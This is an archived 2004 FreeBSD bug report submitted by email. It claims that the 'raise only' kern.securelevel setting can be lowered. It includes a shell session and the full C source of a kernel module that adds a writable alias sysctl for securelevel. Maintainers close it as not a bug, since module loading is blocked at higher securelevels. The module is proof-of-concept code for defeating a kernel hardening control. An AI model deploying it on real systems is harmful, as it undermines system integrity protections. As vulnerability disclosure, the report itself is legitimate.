From nobody@FreeBSD.org  Tue Jun 15 11:23:51 2004
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125])
	by hub.freebsd.org (Postfix) with ESMTP id 9E71816A4CF
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 15 Jun 2004 11:23:51 +0000 (GMT)
Received: from www.freebsd.org (www.freebsd.org [216.136.204.117])
	by mx1.FreeBSD.org (Postfix) with ESMTP id 5978843D2D
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 15 Jun 2004 11:23:51 +0000 (GMT)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.12.11/8.12.11) with ESMTP id i5FBNivi018601
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 15 Jun 2004 11:23:44 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.12.11/8.12.11/Submit) id i5FBNisJ018600;
	Tue, 15 Jun 2004 11:23:44 GMT
	(envelope-from nobody)
Message-Id: <200406151123.i5FBNisJ018600@www.freebsd.org>
Date: Tue, 15 Jun 2004 11:23:44 GMT
From: Radko Keves <rado@daemon.sk>
To: freebsd-gnats-submit@FreeBSD.org
Subject: Unprivilegued settings for FreeBSD kernel variables
X-Send-Pr-Version: www-2.3

>Number:         67967
>Category:       kern
>Synopsis:       Unprivilegued settings for FreeBSD kernel variables
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    so
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Jun 15 11:30:19 GMT 2004
>Closed-Date:    Tue Jun 15 18:56:52 GMT 2004
>Last-Modified:  Tue Jun 15 18:56:52 GMT 2004
>Originator:     Radko Keves
>Release:        5.2.1-RELEASE-p5
>Organization:
>Environment:
FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun  2 11:23:59 CEST 2004     rado@mk:/usr/src/sys/i386/compile/angel  i386

>Description:
INTRODUCTION:
i have found security threat in basic security facility in BSD systems
that allows to lower sysctl variable

in this case to bypass security settings, root privilegues are needed


DESCRIPTION:
sysctl(8)
..
     The sysctl utility retrieves kernel state and allows processes with
     appropriate privilege to set kernel state.  The state to be retrieved or
     set is described using a ``Management Information Base'' (``MIB'') style
     name, described as a dotted set of components.
..
    kern.securelevel                         integer       raise only

..

security(7)
..
Once you have set the securelevel to 1, write access to raw devices will
be denied and special chflags flags, such as `schg', will be enforced.
..

sysctl(3)
..
KERN_SECURELVL
The system security level.  This level may be raised by processes
with appropriate privilege.  It may not be lowered.
..


PROBLEM:
raise only kernel variables aren't really raise only, here is the
way how we can avoid security settings


EXAMPLE:
kernel module can gives you a new sysctl (for example kern.securelevel2):
kern.securelevel2
with which you can lower/raiser sysctl.securelevel variable
(source code attached)

$ kldstat
Id Refs Address    Size     Name
 1    7 0xc0400000 4378e4   kernel
 ...
$
$ kldload ./securelevel2.ko
$ kldstat
Id Refs Address    Size     Name
 1    8 0xc0400000 4378e4   kernel
 ...
 8    1 0xc4e96000 2000     securelevel2.ko

$sudo sysctl kern.securelevel
kern.securelevel: -1
$sudo sysctl kern.securelevel=3
kern.securelevel: -1 -> 3
$ sudo sysctl kern.securelevel
kern.securelevel: 3
$ sudo sysctl kern.securelevel=-1
kern.securelevel: 3
sysctl: kern.securelevel: Operation not permitted
$ sudo sysctl kern.securelevel2=-1
kern.securelevel2: 3 -> -1
$ sudo sysctl kern.securelevel
kern.securelevel: -1
SEE ALSO:
other "raise only" :-) sysctl variables (uptime....), write access to raw devices...

>How-To-Repeat:
#include <sys/param.h>
#include <sys/kernel.h>     
#include <sys/libkern.h>
#include <sys/sysctl.h>
#include <sys/systm.h>

static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) {
        int     error;
        error = sysctl_handle_long(oidp,&(securelevel), 0, req);
        return (error);
}

SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", ".");

static int mod(struct module *module, int cmd, void *arg) {
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                break;
        case MOD_UNLOAD:
                break;
        default:
                error = EINVAL;
                break;
        }
        return error;
}

static moduledata_t securelevel2_mod = {
        "securelevel2",
        mod,
        NULL
};

DECLARE_MODULE(securelevel2, securelevel2_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
     
>Fix:
not known
>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: freebsd-bugs->so 
Responsible-Changed-By: ceri 
Responsible-Changed-When: Tue Jun 15 17:43:26 GMT 2004 
Responsible-Changed-Why:  
Assign to so@ for the time-being.  Although it is apparent at present 
that the attack vector does not exist due to a securelevel higher than 1 
disallowing kldload(2), we await a response from the submitter. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=67967 
State-Changed-From-To: open->closed 
State-Changed-By: des 
State-Changed-When: Tue Jun 15 18:56:50 GMT 2004 
State-Changed-Why:  
Not a bug. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=67967 
>Unformatted:
